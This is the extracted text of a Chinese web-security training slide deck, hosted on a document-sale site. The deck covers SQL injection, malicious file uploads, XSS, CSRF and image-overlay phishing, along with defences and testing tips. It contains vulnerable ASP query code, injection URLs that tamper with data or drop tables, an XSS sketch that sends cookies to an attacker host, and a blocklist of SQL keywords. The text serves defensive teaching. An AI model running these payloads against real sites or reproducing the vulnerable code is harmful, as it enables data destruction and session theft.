系统安全培训-Web安全性课件.ppt

上传人(卖家):晟晟文业 文档编号:4479355 上传时间:2022-12-12 格式:PPT 页数:38 大小:1,011.50KB
下载 相关 举报
系统安全培训-Web安全性课件.ppt_第1页
第1页 / 共38页
系统安全培训-Web安全性课件.ppt_第2页
第2页 / 共38页
系统安全培训-Web安全性课件.ppt_第3页
第3页 / 共38页
系统安全培训-Web安全性课件.ppt_第4页
第4页 / 共38页
系统安全培训-Web安全性课件.ppt_第5页
第5页 / 共38页
点击查看更多>>
资源描述

1、系统安全Web安全性2019年9月2009中国计算机网络安全应急年会资料安全性问题之一SQL注入n什么是 SQL Injection:(SQL注入)就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。简而言之,是在输入的数据字符串中夹带SQL指令,在设计不良的程序中忽略了检查,那么在这些夹带的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此招致到破坏安全性问题之一SQL注入nSQL Injection:(SQL注入)SQL注入是最常见的攻击方式,它的主要原理是:攻击者通过改变WEB页的参数,直接将SQL片断提交到服务器,并在服务器端执

2、行的过程。安全性问题之一SQL注入nSQL注入的原因1、在应用程序中使用字符串联结方式组合SQL指令2、在应用程序链接数据库时使用权限过大的帐号(例如使用SA)3、在数据库中开放了不必要但权力过大的功能(如,在SQLServer中的的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)4、太过于信任用户所输入的数据,未限制输入的字符数安全性问题之一SQL注入nSQL注入的危害修改数据库内容删除其它表窃取数据到本地执行系统命令,进而修改或控制操作系统、破坏硬盘数据等n特点攻击耗时少、危害大安全性问题之一SQL注入n问题代码(ASP+MS SQL Server)if Re

3、quest.QueryString(id)is NoThing then id=1else id=Request.QueryString(id)end ifsql=select title,content from news where id=&idset rs=Server.CreateObject(adodb.Recordset)rs.Open sql,connection,1,1安全性问题之一SQL注入n修改数据库内容提交语句localhost/news.asp?id=1;update news set title=test where title=oldtitle执行语句:select

4、 title,content from news where id=1;update news set title=test where title=oldtitle安全性问题之一SQL注入n删除其它表提交语句localhost/news.asp?id=1;drop table tablename执行语句:select title,content from news where id=1;drop table tablename服务器返回的错误信息关键文件路径服务器返回的错误信息如何预防SQL注入?n 从应用程序的角度来讲,我们要做以下三项工作:n1.转义敏感字符及字符串(SQL的敏感字符包括

5、:n“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”/”,”.”,”;”,”,”-”,”%”,”0 x”,”=!-*/()|”,和”空格”)。n2.屏蔽出错信息:阻止攻击者知道攻击的结果n3.服务端正式处理之前对提交数据的合法性进行检查(包括:数据类型,数据长度,敏感字符的校验)。在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作。如何预防SQL注入?n从实际应用还需要注意:n1.只要是提交的数据包含非法字符,或者要替换为安全字符,或者提交的数据要替换为默认值。n2.含有非法字符串的数据提交不应该显示“您所提交的数据非法”等类似的提示。因

6、为对于访问者而言,这是没有必要的。n3.尽可能完善操作日志记录和错误日记记录。安全性问题之二上传文件漏洞n伪造客户端绕过上传后缀名检查n可能导致上传木马n解决方法:使用白名单,后台检查防止木马执行的方法n给各个不必要的目录,去掉“执行”权限;删除不需要的程序映射。安全性问题之三XSSnCross-Site Scripting(XSS):(跨站点脚本攻击)XSS是由于Web程序没有对用户提交的HTML内容进行适当的过滤,这样攻击者就可能在你的Web页中插入一些HTML语句,这些语句通过以标签的形式出现。攻击者通常使用跨站脚本攻击来窃取COOKIES 和 SESSION信息,或是欺骗用户将隐私信息

7、暴露给错误对象(又称为钓鱼)。问题三XSS Results for window.open(attacker?.document.cookie.)Attack Server受害人服务器 受害人客户端 user gets bad linkuser clicks on linkvictim echoes user inputvictim/search.php?term=.victimattacker安全性问题之三XSSn跨站脚本XSS利用示例Cookie、Sessionn会话CookieASPSESSIONIDXXXXXXXX、JSESSIONID、PHPSESSID安全性问题之三XSSn在htm

8、l编辑输入:显示cookie安全性问题之四SCRFnCross-Site Request Forgery(SCRF):(跨站点请求伪造)SCRF的特性就是利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点。安全性问题之四SCRFn浏览器和网站建立认证的会话Web浏览器跟可信的站点建立了一个经认证的会话之后,只要是通过该Web浏览器这个认证的会话所发送的请求,都被视为可信的动作。安全性问题之四SCRFn浏览器发送有效的请求浏览器正在发送一个有效的请求,即Web浏览器企图执行一个可信的动作。可信的站点经确认发现,该Web浏览器已通过认证,所以该动作将被执行。安全性问题之四SCRF

9、n恶意站点伪造的有效请求图中,发生了一个SCRF攻击。发起攻击的站点致使浏览器向可信的站点发送一个请求。该可信的站点认为,来自该Web浏览器的请求都是经过认证的有效请求,所以执行这个“可信的动作”。SCRF攻击之所以会发生,其根本原因就是Web站点所验证的是Web浏览器而非用户本身。安全性问题之四SCRFn假如张三在浏览目标站点A,那么站点A便会给张三的浏览器一个cookie,用于存放一个伪随机数作为会话标识符sid,以跟踪她的会话。该站点会要求张三进行登录,当她输入有效的用户名和口令时,该站点会记录这样一个事实:张三已经登录到会话sid。当张三发送一个请求到站点A时,她的浏览器就会自动地发送

10、包含sid的会话cookie。之后,站点A就会使用站点的会话记录来识别该会话是否来自张三。安全性问题之四SCRFn现在,我们假设张三访问了一个恶意站点B,该站点提供的内容中的JavaScript代码或者图像标签会导致张三的浏览器向站点A发送一个HTTP请求。由于该请求是发给站点A的,所以张三的浏览器自动地给该请求附上与站点A对应的该会话cookie的sid。站点A看到该请求时,它就能通过该cookie的推断出:该请求来自张三,所以站点A就会对张三的帐户执行所请求的操作。这样,SCRF攻击就能得逞了。安全性问题之四SCRFn客户端(认证)服务器nCookie:sidn第三方站点客户端(恶意命令请

11、求)服务器n第三方站点内容:n指令:张三的账户A向账号B转账,交易金额1000安全性问题之四SCRFn总之,只要身份认证是隐式进行的,就会存在SCRF攻击的危险,因为浏览器发出请求这一动作未必是受用户的指使。n原则上,这种威胁可以通过对每个发送至该站点的请求都要求用户进行显式的、不可欺骗的动作(比如重新输入用户名和口令)来消除,但实际上这会导致严重的易用性问题。n大部分标准和广泛应用的认证机制都无法防止CSRF攻击。安全性问题之四SCRFnSCRF成功发动攻击前提是,用户必须已经登录到目标站点,并且必须浏览了攻击者的站点或被攻击者部分控制的站点。安全性问题之四SCRFnSCRF和XSS攻击的区

12、别在于,XSS攻击需要JavaScript,而CSRF攻击不需要;XSS攻击要求站点接受恶意代码,而对于SCRF攻击来说,恶意代码位于第三方站点上。n防御XSS攻击的措施无法保护站点不受SCRF攻击的危害。如果站点具有XSS攻击漏洞,那么它也有SCRF攻击漏洞。但是,即使站点针对XSS攻击采取了全面保护,却仍然面临SCRF攻击的威胁。安全性问题之五XSIOnCross Site Image Overlaying(XSIO):跨站图像叠加XSIO是因为没有限制图片的position属性为absolute,导致可以控制一张图片出现在网页的任意位置。那么我们就可以用这张图片去覆盖网页上的任意一个位置

13、(link、button)。这就可以导致页面破坏。而给图片设置一个链接后,很显然就可以起到一个钓鱼的作用。由于对正常的HTML 标签是没有做过滤的,所以我们可以用这些标签或CSS样式来实施XSIO攻击。安全性问题之六XSIOnCross Site Image Overlaying(XSIO):跨站图像叠加n测试方法:安全性问题之六XSIOnXX.XXX.X.XXX/XX_bbs/websource/BBS/article_det.aspx?id=15&aid=2019跨站图像叠加 安全性问题的根源n客户端数据的不可信任性。nNever under any circumstances trust

14、 data from the browser.(从不要相信来自浏览器端的数据,因为你永远不可能知道在浏览器进行数据操作是你的用户还是正在寻找攻击漏洞的黑客)n不信任客户端如何交换数据?解决方法:安全性测试n安全性测试是一个很大的题目,首先取决于要达到怎样的安全程度。不要期望网站可以达到100%的安全。解决方法:安全性测试n(1)如何进行XSS测试?首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。其次,在页面参数中输入如下语句(如:Javascript,VB script,HTML,ActiveX,Flash)来进行测试:alert(document.cooki

15、e)解决方法:安全性测试n(2)如何预防XSS漏洞?从应用程序的角度来讲,要进行以下几项预防:n对Javascript,VBscript,HTML,ActiveX,Flash等语句或脚本进行转义。n在服务端正式处理之前对提交数据的合法性进行检查(包括:数据类型,数据长度,敏感字符的校验)等。从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:n在需求检查过程中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。n执行测试过程中也应对上述项进行检查。解决方法:安全性测试n一般实现业务的网站期望的安全指标:1、能够对密码试探工具进行防范;2、能够防范对cookie攻击等常用攻击手段;3、敏感数据保证不用明文传输;4、能防范通过文件名猜测和查看HTML文件内容获取重要信息;5、能保证在网站受到攻击后在给定时间内恢复。docin/sanshengshiyuandoc88/sanshenglu 更多精品资源请访问更多精品资源请访问

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 办公、行业 > 各类PPT课件(模板)
版权提示 | 免责声明

1,本文(系统安全培训-Web安全性课件.ppt)为本站会员(晟晟文业)主动上传,163文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。
2,用户下载本文档,所消耗的文币(积分)将全额增加到上传者的账号。
3, 若此文所含内容侵犯了您的版权或隐私,请立即通知163文库(发送邮件至3464097650@qq.com或直接QQ联系客服),我们立即给予删除!


侵权处理QQ:3464097650--上传资料QQ:3464097650

【声明】本站为“文档C2C交易模式”,即用户上传的文档直接卖给(下载)用户,本站只是网络空间服务平台,本站所有原创文档下载所得归上传人所有,如您发现上传作品侵犯了您的版权,请立刻联系我们并提供证据,我们将在3个工作日内予以改正。


163文库-Www.163Wenku.Com |网站地图|